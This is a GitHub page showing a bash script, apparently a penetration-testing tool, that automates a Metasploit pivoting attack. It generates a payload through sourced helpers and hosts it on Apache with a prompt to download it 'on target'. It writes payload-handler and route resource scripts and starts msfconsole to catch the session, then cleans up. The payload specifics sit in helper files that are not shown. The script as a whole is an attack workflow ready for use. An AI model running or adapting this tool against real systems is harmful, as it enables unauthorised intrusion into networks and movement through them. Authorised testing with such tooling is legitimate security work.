-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathaut0p1vot.sh
149 lines (113 loc) · 4.35 KB
/
aut0p1vot.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env bash
clear
# Author: Karthik Sainadh Siddabattula :-)
# Website: http://techiekarthik.in
# Superpowers: CEH | Penetration tester | Security researcher
# GitHub: github.com/karthikgenius
# Research Gate: researchgate.net/profile/Karthik_Sainadh2
# handles colors stuff
source sourcelib/colors.sh
# handles error stuff
source sourcelib/error.sh
# handles all apache2 stuff
source sourcelib/serverweb.sh
# handles metasploit stuff
source sourcelib/metasploit.sh
# handles all errrors
source sourcelib/error.sh
# handles network stuff
source sourcelib/networkpref.sh
# handles cleaning stuff
source sourcelib/clean.sh
# handles resourcescript stuff
source sourcelib/msfresourcegeneration.sh
# banner print and error stuff
bannerPrinter || bannerError
# user check vars
CUR_USER=$(whoami)
REC_USER="root"
# check user
if [[ ! ${CUR_USER} = ${REC_USER} ]];
then
echo -e "${RED}${NRML}Need to run under root user context! "
exit 1
fi
# author details stuff
echo
echo -e "${BLUE}Feel free to report bug to author, If any:${NRML}"
echo -e "Twitter: ${GREENRAW}karthikgenius19${NRML}"
echo -e "LinkedIn: ${GREENRAW}karthiksainadh${NRML}"
echo -e "HacktheBox: ${GREENRAW}Karthik0x00${NRML}"
echo -e "------------------------------------"
# prompts user to hit enter
read -n 1 -s -r -p "Press ANY key to continue"
echo
# dependencies stuff
echo -e "------------------------------------"
echo -e "${YELLOW}${NRML}Checking for dependencies .."
echo
checkApache && echo -e "${GREEN}${NRML}Apache2 installed " || req_error apache2
checkMsfdb && echo -e "${GREEN}${NRML}MSFDB installed" || req_error msfdb
checkMsfconsole && echo -e "${GREEN}${NRML}MSFConsole installed" || req_error msfconsole
checkMsfvenom && echo -e "${GREEN}${NRML}MSFVenom installed" || req_error msfvenom
echo
echo -e "${GREEN}${NRML}Dependencies satisfied .."
echo -e "------------------------------------"
# payload deletion stuff
echo
echo -e "${YELLOW}${NRML}Checking for existing pivot payload .."
delete_payload && echo -e "${GREEN}${NRML}Pivot Payload cleaned" || noPayload
echo -e "------------------------------------"
# payload generation stuff
echo
echo -e "${YELLOW}${NRML}Generating Payload .."
generatePayload && echo -e "${GREEN}${NRML}Payload Generation Success" || errorPayloadGeneration
echo -e "------------------------------------"
# apache2 start stuff
echo
echo -e "${YELLOW}${NRML}Starting WebServer .."
apacheServer on && echo -e "${GREEN}${NRML}Apache2 status: ${APACHESTATUS} " || apacheFailed
echo -e "------------------------------------"
# msfdb start stuff
echo
echo -e "${YELLOW}${NRML}Starting MsfDB Server .."
msfDBServer on && echo -e "${GREEN}${NRML}Msfdb status: ${MSFDBSTATUS} " || msfdbFailed
echo -e "------------------------------------"
# resource script generation stuff
echo
echo -e "${YELLOW}${NRML}Generating rc files .. "
writePayloadHandler && echo -e "${GREEN}${NRML}Done Generating payloadhandler.rc file" || errorResourceScriptHandlerGeneration "writePayloadHandler"
writeRouteHandler && echo -e "${GREEN}${NRML}Done Generating routehandler.rc file" || errorResourceScriptHandlerGeneration "writeRouteHandler"
echo -e "------------------------------------"
# url stuff
echo
URL="http://${LOCALHOST}/${PAYLOADFILE}"
echo -e "${GREEN}${NRML}Go to ${URL} and download the payload on target .."
echo -e "------------------------------------"
# msfconsole starting stuff
echo
echo -e "${GREEN}${NRML}Starting metasploit framework .."
echo -e "------------------------------------"
msfconsole --quiet -r resource-scripts/payloadhandler.rc
sleep 1s
echo -e "${CYAN}==========================="
echo -e "|H0pe y0u h4d a gr34t h4ck|"
echo -e "===========================${NRML}"
# clean stuff
echo
echo -e "${GREEN}${NRML}Started cleaning the stuff"
echo
# payload clean stuff
echo -e "${YELLOW}${NRML}Cleaning Payload .."
delete_payload && echo -e "${GREEN}${NRML}Pivot Payload cleaned" || noPayload
echo -e "------------------------------------"
# apache server clean stuff
echo
echo -e "${YELLOW}${NRML}Turning off Apache2 server .."
apacheServer off && echo -e "${GREEN}${NRML}Apache2 status: ${APACHESTATUS} " || apacheFailed
echo -e "------------------------------------"
# msfdb server clean stuff
echo
echo -e "${YELLOW}${NRML}Turning off msfdb server .."
msfDBServer off && echo -e "${GREEN}${NRML}Msfdb status: ${MSFDBSTATUS} " || msfdbFailed
echo -e "------------------------------------"